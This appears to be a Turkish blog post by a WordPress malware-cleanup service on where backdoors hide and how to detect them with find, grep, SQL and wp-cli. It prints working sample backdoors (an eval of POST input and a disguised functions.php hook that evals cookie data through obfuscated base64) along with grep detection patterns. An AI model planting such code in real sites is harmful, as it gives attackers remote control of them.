WordPress Arka Kapı (Backdoor) Bulma: Saklanma Noktaları ve Tespit Yöntemleri

Hacklenmiş bir WordPress sitesini temizlemek ile temizlemiş gibi yapmak arasındaki fark, arka kapılardır. Saldırgan sitenize girdiği anda ilk işi zarar vermek değil, kalıcılık sağlamaktır: siz görünen zararlıyı silseniz bile geri dönebilmek için sisteme birden fazla gizli giriş noktası yerleştirir. Müdahale ettiğimiz vakalarda tek arka kapılı site istisnadır; tipik bir enfeksiyonda farklı konumlara dağıtılmış üç ile on arası arka kapı buluruz. Bu yazıda arka kapıların nerelere saklandığını ve bunları komut satırından nasıl tespit edeceğinizi gösteriyoruz.

Arka Kapı Nedir, Neden Tek Başına Zararlı Temizliği Yetmez?

Arka kapı (backdoor), saldırganın normal kimlik doğrulamayı atlayarak siteye tekrar erişmesini sağlayan gizli koddur. Çoğu zaman birkaç satırdır ve kendi başına "zararlı iş" yapmaz — spam basmaz, yönlendirme yapmaz. Tek görevi, saldırganın gönderdiği komutu çalıştırmaktır:

<?php if(isset($_POST['k'])) { eval($_POST['k']); }

Bu üç satır, sitenizin tamamını uzaktan yönetilebilir hale getirir. Görünür zararlıyı (spam sayfaları, yönlendirme kodunu) temizleyip bu satırı atlarsanız, saldırgan ertesi gün her şeyi yeniden kurar. Bu yüzden temizlik "zararlı davranışı durdurmak" değil, "tüm giriş noktalarını kapatmak" işidir. Belirtileri henüz teşhis aşamasındaysanız önce hacklenme belirtileri rehberimize bakın.

Arka Kapıların Saklandığı 6 Yer

1. uploads dizini içindeki PHP dosyaları

En klasik konum. wp-content/uploads/ normalde yalnızca medya dosyası barındırır; içinde herhangi bir PHP dosyasının bulunması tek başına enfeksiyon kanıtıdır. Saldırganlar dosyayı yıl/ay klasörlerinin derinine gömer ve image.php, thumb.php gibi masum adlar verir. Tespiti basittir:

find wp-content/uploads -type f -name "*.php"

Bu komutun çıktısı boş olmalıdır. Ek olarak .pHp, .php5, .phtml gibi varyasyonları da yakalayın:

find wp-content/uploads -type f -iregex ".*\.\(php[0-9]?\|phtml\)$"

2. wp-config.php ve kök dizin

wp-config.php her istekte çalıştığı ve kimsenin silmeye cesaret edemediği bir dosya olduğu için ideal saklanma yeridir. Saldırgan dosyanın sonuna bir include satırı ekler ve asıl zararlıyı başka yerde tutar:

include_once(ABSPATH . 'wp-content/uploads/2024/03/.cache_a8x.php');

Dosyayı satır satır okuyun; tanımadığınız include, require ve eval ifadeleri arayın. Kök dizinde ise WordPress çekirdeğine ait olmayan dosyalara bakın: wp-conf.php, wp-info.php, xleet.php gibi. Resmi çekirdek dosya listesiyle karşılaştırmanın en pratik yolu:

wp core verify-checksums

Çıktıdaki "File should not exist" satırları doğrudan şüphelidir. wp-config.php bu doğrulamanın kapsamı dışındadır; onu her zaman elle inceleyin. Dosyanın sertleştirilmesini wp-config.php güvenliği yazımızda anlattık.

3. mu-plugins dizini

wp-content/mu-plugins/ (must-use plugins) az bilinen ama saldırganların çok sevdiği bir konumdur, çünkü buradaki her PHP dosyası otomatik olarak ve her istekte çalışır; panelden devre dışı bırakılamaz ve eklenti listesinin ana görünümünde dikkat çekmez. Siz bu dizini hiç kullanmıyorsanız içinde dosya olmamalıdır:

ls -la wp-content/mu-plugins/

Buradaki tanımadığınız her dosyayı açıp okuyun. "Index.php — Silence is golden" içerikli boş koruma dosyası normaldir; onun dışındaki her şey açıklanabilir olmalıdır.

4. Tema functions.php dosyası

Aktif temanın functions.php dosyası her sayfa yüklemesinde çalışır ve site sahipleri tarafından nadiren okunur. Saldırganlar zararlı kodu dosyanın en sonuna, yüzlerce satır boşluktan sonra ya da meşru görünen bir fonksiyonun içine gizler. Sadece aktif temaya değil, kurulu tüm temalara bakın — pasif temadaki arka kapı da doğrudan URL ile çağrılabilir. Kod tipik olarak şöyle maskeleme yapar:

add_action('wp_head', 'wp_check_updates');
function wp_check_updates() {
    $h = 'ba' . 'se64' . '_de' . 'code';
    eval($h($_COOKIE['wp_session_key'] ?? ''));
}

Fonksiyon adı (wp_check_updates) meşru görünür; asıl iş çerezden gelen kodu çalıştırmaktır. String birleştirme ('ba'.'se64') tam da imza taramalarını atlatmak içindir.

5. Veritabanı

Arka kapı her zaman dosya değildir. Saldırganlar şu tablolara kod gömer:

wp_options: active_plugins içine sahte eklenti yolu eklenir; widget içeriklerine (widget_text, widget_block) <script> veya PHP gömülür.
wp_posts: yazı içeriklerine gizli iframe ve script enjekte edilir.
wp_users: panelden gizlenmiş yönetici hesabı en kalıcı arka kapılardan biridir.

Hızlı bir tarama için:

SELECT option_name FROM wp_options WHERE option_value LIKE '%base64_decode%' OR option_value LIKE '%eval(%';
SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<script%src=%' AND post_status='publish';
SELECT ID, user_login, user_registered FROM wp_users;

Kullanıcı listesini panelde görünen sayıyla karşılaştırın; veritabanında olup panelde görünmeyen hesap, gizlenmiş demektir.

6. Cron görevleri

Sık atlanan konum. Saldırgan tüm dosyaları temizleseniz bile zararlıyı yeniden indiren bir zamanlanmış görev bırakır — hem WordPress'in kendi cron sistemine hem sunucu cron'una:

wp cron event list
crontab -l
crontab -l -u www-data

WP-Cron çıktısında tanımadığınız hook adları (wp_update_check_x, rastgele karakter dizileri) ve sunucu cron'unda curl/wget ile uzak adresten bir şey indirip php'ye boru ile veren satırlar arayın. Ayrıca /etc/cron.d/ ve /var/spool/cron/ dizinlerini de kontrol edin. Bu katman, temizliğin neden yalnızca WordPress değil sunucu işi olduğunun iyi bir örneğidir; kapsamlı bir bakış için sunucu güvenlik kontrolü hizmet sayfamıza göz atın.

Bonus: .htaccess ve dosya olmayan kalıntılar

Altı ana konumun dışında iki noktayı daha kontrol etmeden temizliği kapatmayın. Birincisi .htaccess dosyalarıdır: saldırgan uploads dizininde PHP çalıştırmayı yeniden açan bir .htaccess bırakabilir ya da rastgele URL'leri kendi dosyasına yönlendiren RewriteRule satırları ekleyebilir. Kök dizindekiyle birlikte tüm alt dizinlerdeki .htaccess dosyalarını listeleyip okuyun:

find . -name ".htaccess" -type f -exec ls -la {} \;

İkincisi sunucu seviyesindeki kalıntılardır: ~/.ssh/authorized_keys dosyasına eklenmiş yabancı bir anahtar, sonradan oluşturulmuş sistem kullanıcıları (/etc/passwd içinde shell'i olan tanımadığınız hesaplar) ve web kökü dışına (/tmp, /var/tmp, /dev/shm) bırakılmış betikler. Bunlar teknik olarak WordPress arka kapısı değildir ama işlevleri aynıdır: siz WordPress'i pırıl pırıl yapsanız da saldırgan sunucuya geri döner.

Tespit Yöntemleri: grep ile Zararlı Kod Avı

Arka kapıların ortak noktası, kodu gizlemek için aynı PHP fonksiyonlarına muhtaç olmalarıdır. Bu fonksiyonları dosya sisteminde arayarak çoğunu ortaya çıkarabilirsiniz.

Temel imzalar

grep -rn --include="*.php" "eval(" wp-content/
grep -rn --include="*.php" "base64_decode" wp-content/
grep -rn --include="*.php" "gzinflate" wp-content/
grep -rn --include="*.php" "str_rot13" wp-content/

Hepsini tek komutta toplamak isterseniz:

grep -rlnE --include="*.php" "eval\(|base64_decode|gzinflate|gzuncompress|str_rot13|shell_exec|system\(|passthru|assert\(" wp-content/ wp-includes/ wp-admin/ *.php

Sonuçları nasıl yorumlamalı?

Kritik nokta: bu fonksiyonların geçtiği her dosya zararlı değildir. Bazı meşru eklentiler de base64_decode kullanır (örneğin görselleri veya lisans verisini çözmek için). Şüpheyi güçlendiren kombinasyonlar şunlardır:

Desen	Anlamı
`eval(base64_decode(...))`	Neredeyse her zaman zararlı; meşru kodda yeri yoktur
`eval(gzinflate(base64_decode(...)))`	Çok katmanlı gizleme, kesin incelenmeli
`$_POST` / `$_GET` / `$_COOKIE` doğrudan `eval`e gidiyor	Klasik web shell / arka kapı
`preg_replace` + `/e` düzenleyicisi	Eski PHP'de gizli eval; günümüzde varlığı şüphelidir
`create_function($x, $y)` değişken argümanlarla	Dolaylı eval
Binlerce karakterlik tek satır, rastgele değişken adları (`$O0O0`, `$x9a`)	Obfuscation, kesin incelenmeli

Kullanıcı girdisiyle eval'i birlikte arayan hedefli bir komut:

grep -rnE --include="*.php" "eval\s*\(\s*(\\\$_(POST|GET|REQUEST|COOKIE)|base64_decode)" .

Zaman damgalarına güvenmeyin, ama kullanın

Son değişen dosyalar iyi bir başlangıç noktasıdır:

find . -name "*.php" -mtime -30 -type f

Ancak gelişmiş saldırganlar touch ile dosya tarihini çevresindeki dosyalarla eşitler. Bu yüzden tarih taraması "temiz" çıksa bile imza taramasını atlamayın; iki yöntem birbirini tamamlar.

Neden Eklenti Taraması Yetmez?

Wordfence ve benzeri güvenlik eklentileri değerli araçlardır, ancak hacklenmiş bir sitede yapısal olarak dezavantajlıdır:

Aynı yetki seviyesinde çalışırlar. Eklenti, WordPress'in içinde, saldırganın kontrol ettiği ortamda koşar. Sisteme hükmeden saldırgan, tarayıcının göreceği çıktıyı manipüle edebilir, taramayı sessizce sonlandırabilir, hatta eklentinin imza listesinden kendi dosyasını çıkarabilir.
İmza tabanlıdırlar. Bilinen zararlıları tanırlar; sitenize özel yazılmış veya string birleştirmeyle gizlenmiş beş satırlık bir arka kapı imza listesinde yoktur.
Kapsamları WordPress ile sınırlıdır. Sunucu cron'u, web kökü dışındaki dosyalar, Apache/Nginx yapılandırmasına eklenmiş yönlendirmeler ve sistem kullanıcıları eklentinin görüş alanının tamamen dışındadır.

Doğru yaklaşım dışarıdan taramadır: dosya sistemi SSH üzerinden, WordPress çalışmadan incelenir; dosyalar resmi sürümlerin checksum'larıyla karşılaştırılır; veritabanı ve cron katmanı ayrıca taranır. WordPress virüs temizleme hizmetimizde izlediğimiz yöntem budur.

Temizlik Sonrası Doğrulama

Bulduğunuz arka kapıları temizledikten sonra işin bittiğini varsaymayın:

wp core verify-checksums ve grep taramalarını sıfırdan tekrar çalıştırın
Tüm parolaları ve wp-config.php salt anahtarlarını değiştirin (aksi halde çalınmış oturumlar açık kalır)
Erişim loglarında temizlediğiniz dosyalara gelen istekleri arayın; saldırganın hâlâ denediğini görürsünüz ve gözden kaçan bir kapı varsa logda ortaya çıkar
Bir hafta boyunca dosya değişikliklerini izleyin — kalıcı izleme için bakım ve izleme hizmetimiz bu işi otomatikleştirir

Benzer vakalarda sürecin nasıl ilerlediğini görmek için vaka çalışmalarımıza bakabilirsiniz.

Sık Sorulan Sorular

Tüm eklentileri ve temaları silip yeniden kursam arka kapılardan kurtulur muyum?

Büyük ölçüde ama tamamen değil. Bu yöntem eklenti ve tema içindeki kapıları temizler; uploads'taki PHP dosyalarını, veritabanına gömülü kodu, gizli yönetici hesaplarını ve cron görevlerini olduğu yerde bırakır. Yeniden kurulum, taramanın yerine değil yanına konmalıdır.

grep taramam temiz çıktı ama site hâlâ tuhaf davranıyor. Ne olabilir?

Zararlı, veritabanında veya WordPress dışında olabilir: sunucu cron'u, Apache/Nginx yapılandırması, .htaccess yönlendirmeleri veya başka bir sistem kullanıcısının dizini. Ayrıca çok katmanlı gizlenmiş kod, aradığınız kelimeyi düz metin olarak içermeyebilir. Bu noktada sunucu seviyesinde inceleme gerekir.

base64_decode geçen her dosyayı silsem olur mu?

Hayır — meşru eklenti ve temalar da bu fonksiyonu kullanır ve toplu silme siteyi bozar. Amaç fonksiyonu değil, bağlamı yakalamaktır: kullanıcı girdisinin eval'e ulaştığı, çok katmanlı çözülen ve obfuscate edilmiş kodlar hedeftir.

Arka kapı bulundu; saldırganın nereden girdiğini nasıl anlarım?

Erişim loglarında arka kapı dosyasına yapılan ilk isteği bulun ve o IP'nin önceki hareketlerini geriye doğru izleyin. Genellikle savunmasız bir eklentiye yapılmış bir POST isteği veya başarılı bir kaba kuvvet girişi görürsünüz. Giriş noktası kapatılmadan temizlik kalıcı olmaz.

Sitenizde arka kapı olduğundan şüpheleniyorsanız tahmine gerek yok: ücretsiz ön teşhisle sitenizi tarayıp bulgularımızı paylaşalım. WordPress virüs temizleme hizmetimiz dosya sistemi, veritabanı ve sunucu katmanını birlikte temizler; acil durumlar için WhatsApp destek hattımız 7/24 açıktır — acil müdahale sayfasından ulaşabilirsiniz.